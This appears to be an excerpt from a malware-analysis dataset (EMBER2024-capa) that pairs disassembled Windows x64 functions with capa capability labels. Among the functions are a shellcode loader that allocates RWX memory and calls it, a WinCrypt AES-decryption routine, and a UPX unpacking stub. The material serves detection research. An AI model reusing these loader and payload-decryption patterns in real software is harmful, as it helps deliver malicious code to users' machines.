joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c65c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140014cb8], rbx
je 0x14000c6c3
cmp rax, rbx
jne 0x14000c6b6
mov ebx, 1
mov esi, ebx
jmp 0x14000c6c8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000c69b
mov ebx, 1
mov eax, dword [0x140014cc0]
cmp eax, ebx
jne 0x14000c6e0
mov edi, 0x1f
mov ecx, edi
call fcn.140179000
jmp 0x14000c74c
mov eax, dword [0x140014cc0]
test eax, eax
jne 0x14000c741
mov dword [0x140014cc0], ebx
lea r15, [0x14000eb70]
lea rdi, [0x14000eb58]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000c733
test eax, eax
jne 0x14000c737
cmp qword [rdi], r14
je 0x14000c728
mov rax, qword [rdi]
mov rcx, qword [0x14000eb00]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000c70a
test eax, eax
je 0x14000c747
mov eax, 0xff
jmp 0x14000c8a0
mov dword [0x140014400], ebx
mov edi, 0x1f
mov eax, dword [0x140014cc0]
cmp eax, ebx
jne 0x14000c773
lea rdx, [0x14000eb50]
lea rcx, [0x14000eb18]
call sub.msvcrt.dll__initterm
mov dword [0x140014cc0], 2
test esi, esi
jne 0x14000c781
mov rax, r14
xchg qword [0x140014cb8], rax
cmp qword [0x140014cd8], r14
je 0x14000c7b4
lea rcx, [0x140014cd8]
call fcn.14000cc80
test eax, eax
je 0x14000c7b4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140014cd8]
mov r9, qword [0x14000eb00]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000c7cd
mov eax, 0xff
jmp 0x14000c8a0
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000c851
cmp word [rcx], r14w
je 0x14000c7e6
test edx, edx
jne 0x14000c851
movzx eax, word [rcx]
sub ax, bx
cmp ax, di
ja 0x14000c7fc
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c7e6
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400018e8
mov dword [0x1400143fc], eax
cmp dword [0x140014420], r14d
jne 0x14000c83a
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140014400], r14d
jne 0x14000c84f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400143fc]
jmp 0x14000c8a0
cmp word [rcx], 0x22
jne 0x14000c865
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c7d6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14000cd00
add rsp, 0x28
jmp 0x14000c65c
Function at 0x1400078a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140d74080]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor ebx, ebx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], bx
lea rax, [0x14005b868]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0xd
mov rdx, rcx
cmp qword [rcx + 0x18], 7
jbe 0x14000791f
mov rdx, qword [rcx]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x80], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.14000d5c0
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400079c9
xor bl, bl
jmp 0x1400079ee
mov edx, 0x2710
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140007a2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007a4a
call fcn.140019270
movzx eax, bl
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140019250
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rbp
ret
call fcn.140020bb8
int3
Function at 0x140027794
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140d7a050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1400277f9
test rax, rax
jne 0x1400277e7
lea r9, [0x140055590]
lea r8, [0x140055588]
lea rdx, [0x140055590]
lea ecx, [rax + 0xa]
call fcn.1400274b4
test rax, rax
je 0x1400277f9
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.140031bf0
jmp 0x140027813
xor edx, edx
mov rcx, rbp
call fcn.140027a84
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140028354
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140019b80
sub rsp, rax
mov rax, qword [0x140d74080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14002546c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400283a3
mov rax, rbp
jmp 0x1400284af
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xd765b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002935c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0xd765b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400284ab
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400284ab
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002935c
test rax, rax
js 0x1400284ab
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400284ab
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002849d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002849d
cmp byte [rcx], 0xd
jne 0x140028483
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140028492
cmp byte [rcx + 1], 0xa
jne 0x140028492
inc rcx
jmp 0x140028492
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xd744c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140028465
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400284af
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140019250
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140028644
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x140d765b0]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x14002869a
cmp word [rdx], r9w
jne 0x14002869a
or byte [rax + rbp*8 + 0x38], 4
jmp 0x14002869f
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x14002881e
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1400287e9
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1400286e7
cmp rcx, r8
jae 0x140028707
cmp word [rcx], r9w
jne 0x1400286e7
add rax, 4
mov edx, r9d
jmp 0x1400286ea
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x1400286bc
jmp 0x14002881e
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400287e2
cmp dword [rsp + 0x80], edi
je 0x1400287e2
lea r9, [0x140d765b0]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x1400287bc
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x14002876f
mov word [rbx], bp
jmp 0x14002881b
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x14002878a
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x14002881b
cmp word [rsp + 0x70], bp
jne 0x1400287c8
cmp rbx, rsi
je 0x140028767
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140029364
cmp word [rsp + 0x70], bp
je 0x14002881e
mov word [rbx], 0xd
jmp 0x14002881b
mov rcx, r15
lea r9, [0x140d765b0]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140028818
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14002881e
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400014e0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rdi
sub rsp, 0x50
mov rbx, r9
mov dword [rsp + 0x20], 0xf0000000
mov rdi, rdx
lea rcx, [rsp + 0x30]
mov r9d, 0x18
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400015dc
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400015dc
mov r8d, dword [rsp + 0x80]
xor r9d, r9d
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400015dc
mov r8, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400015dc
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400015dc
mov rcx, qword [rsp + 0x30]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x60]
mov eax, 0xffffffff
add rsp, 0x50
pop rdi
ret

Function at 0x140001750
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, edx
mov edx, edx
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.1400021f0
call rbx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400062e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000610c
Function at 0x140025f90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140025f9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140025fad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140025f95
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140025fc5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140025fb2
sub eax, 3
jb 0x140025fdf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140026016
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140026006
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140026004
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140025ff3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140025f52
jmp 0x140025f9d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x15e00
mov dl, 6
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140026062
cmp rsi, rcx
jae 0x14002606a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140026049
cmp al, 0x8f
ja 0x140026049
cmp byte [rsi - 2], 0xf
je 0x14002604f
sub al, 0xe8
cmp al, 1
ja 0x140026033
cmp rsi, rcx
jae 0x14002606a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140026039
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14002606a
lodsb al, byte [rsi]
jmp 0x140026049
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x23000]
mov eax, dword [rdi]
or eax, eax
je 0x1400260c7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x28db0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140026077
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400260c1
mov qword [rbx], rax
add rbx, 8
jmp 0x140026097
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14002611f
sub rsp, 0xffffffffffffff80
jmp section.UPX0